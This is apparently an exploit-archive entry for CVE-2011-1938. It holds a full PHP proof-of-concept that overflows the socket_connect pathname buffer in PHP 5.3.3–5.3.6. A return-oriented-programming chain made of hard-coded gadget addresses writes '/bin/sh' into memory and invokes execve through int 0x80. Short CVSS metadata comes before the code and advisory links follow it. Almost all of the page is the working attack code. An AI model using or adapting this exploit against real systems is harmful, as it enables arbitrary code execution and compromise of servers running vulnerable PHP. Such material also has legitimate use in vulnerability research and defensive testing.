PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

2011.07.06
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php /* ** Jonathan Salwan - @shell_storm ** http://shell-storm.org ** 2011-06-04 ** ** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938 ** ** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c ** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary ** code via a long pathname for a UNIX socket. */ echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n"; echo "[+] CVE-2011-1938\n\n"; # Gadgets in /usr/bin/php define('DUMMY', "\x42\x42\x42\x42"); // padding define('STACK', "\x20\xba\x74\x08"); // .data 0x46a0 0x874ba20 define('STACK4', "\x24\xba\x74\x08"); // STACK + 4 define('STACK8', "\x28\xba\x74\x08"); // STACK + 8 define('STACK12', "\x3c\xba\x74\x08"); // STACK + 12 define('INT_80', "\x27\xb6\x07\x08"); // 0x0807b627: int $0x80 define('INC_EAX', "\x66\x50\x0f\x08"); // 0x080f5066: inc %eax | ret define('XOR_EAX', "\x60\xb4\x09\x08"); // 0x0809b460: xor %eax,%eax | ret define('MOV_A_D', "\x84\x3e\x12\x08"); // 0x08123e84: mov %eax,(%edx) | ret define('POP_EBP', "\xc7\x48\x06\x08"); // 0x080648c7: pop %ebp | ret define('MOV_B_A', "\x18\x45\x06\x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret define('MOV_DI_DX', "\x20\x26\x07\x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi | pop %ebp | ret define('POP_EDI', "\x23\x26\x07\x08"); // 0x08072623: pop %edi | pop %ebp | ret define('POP_EBX', "\x0f\x4d\x21\x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | pop %ebp | ret define('XOR_ECX', "\xe3\x3b\x1f\x08"); // 0x081f3be3: xor %ecx,%ecx | pop %ebx | mov %ecx,%eax | pop %esi | pop %edi | pop %ebp | ret $padd = str_repeat("A", 196); $payload = POP_EDI. // pop %edi STACK. // 0x874ba20 DUMMY. // pop %ebp MOV_DI_DX. // mov %edi,%edx DUMMY. // pop %esi DUMMY. // pop %edi "//bi". // pop %ebp MOV_B_A. // mov %ebp,%eax DUMMY. // pop %ebx DUMMY. // pop %esi DUMMY. // pop %edi DUMMY. // pop %ebp MOV_A_D. // mov %eax,(%edx) POP_EDI. // pop %edi STACK4. // 0x874ba24 DUMMY. // pop %ebp MOV_DI_DX. // mov %edi,%edx DUMMY. // pop %esi DUMMY. // pop %edi "n/sh". // pop %ebp MOV_B_A. // mov %ebp,%eax DUMMY. // pop %ebx DUMMY. // pop %esi DUMMY. // pop %edi DUMMY. // pop %ebp MOV_A_D. // mov %eax,(%edx) POP_EDI. // pop %edi STACK8. // 0x874ba28 DUMMY. // pop %ebp MOV_DI_DX. // mov %edi,%edx DUMMY. // pop %esi DUMMY. // pop %edi DUMMY. // pop %ebp XOR_EAX. // xor %eax,%eax MOV_A_D. // mov %eax,(%edx) XOR_ECX. // xor %ecx,%ecx DUMMY. // pop %ebx DUMMY. // pop %esi DUMMY. // pop %edi DUMMY. // pop %ebp POP_EBX. // pop %ebx STACK. // 0x874ba20 DUMMY. // pop %esi DUMMY. // pop %edi DUMMY. // pop %ebp XOR_EAX. // xor %eax,%eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INC_EAX. // inc %eax INT_80; // int $0x80 $evil = $padd.$payload; $fd = socket_create(AF_UNIX, SOCK_STREAM, 1); $ret = socket_connect($fd, $evil); ?>

References:

http://svn.php.net/viewvc?view=revision&revision=311369
http://svn.php.net/viewvc/php/php-src/trunk/ext/sockets/sockets.c?r1=311369&r2=311368&pathrev=311369
http://openwall.com/lists/oss-security/2011/05/24/9
http://openwall.com/lists/oss-security/2011/05/24/1
http://xforce.iss.net/xforce/xfdb/67606
http://osvdb.org/72644


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